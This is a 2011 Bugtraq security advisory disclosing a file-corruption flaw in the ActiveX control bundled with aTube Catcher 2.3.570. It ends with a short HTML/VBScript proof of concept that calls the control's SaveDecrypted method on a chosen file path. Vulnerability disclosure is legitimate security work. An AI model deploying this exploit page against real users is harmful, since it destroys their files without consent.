bugtraq - aTube Catcher ActiveX Control Insecure Method

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Message-ID: <201107061123.p66BNeDN058805@htbridge.ch>
Date: Wed, 6 Jul 2011 13:23:40 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: aTube Catcher ActiveX Control Insecure Method

Vulnerability ID: HTB23013
Reference: http://www.htbridge.ch/advisory/atube_catcher_activex_control_savedecrypted_insecure_method.html
Product: aTube Catcher
Vendor: Diego Uscanga ( http://atube-catcher.dsnetwb.com ) 
Vulnerable Version: 2.3.570 and probably prior
Tested on: 2.3.570
Vendor Notification: 01 June 2011 
Vulnerability Type: ActiveX Control Insecure Method
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered a vulnerability in aTube Catcher, which can be exploited to corrupt arbitrary files.

The vulnerability is caused due to the ChilkatCrypt2.ChilkatOmaDrm.1 (ChilkatCrypt2.dll) ActiveX control including the insecure "SaveDecrypted()" method. This can be exploited to corrupt arbitrary files in the context of the currently logged-on user.

The following PoC code is available:

<html>
<object classid='clsid:0B70AB61-5C95-4126-9985-A32531CA8619' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>
Sub Boom()
 arg1="FilePath\Filename_to_corrupt"
 target.SaveDecrypted arg1
End Sub
</script>

</html>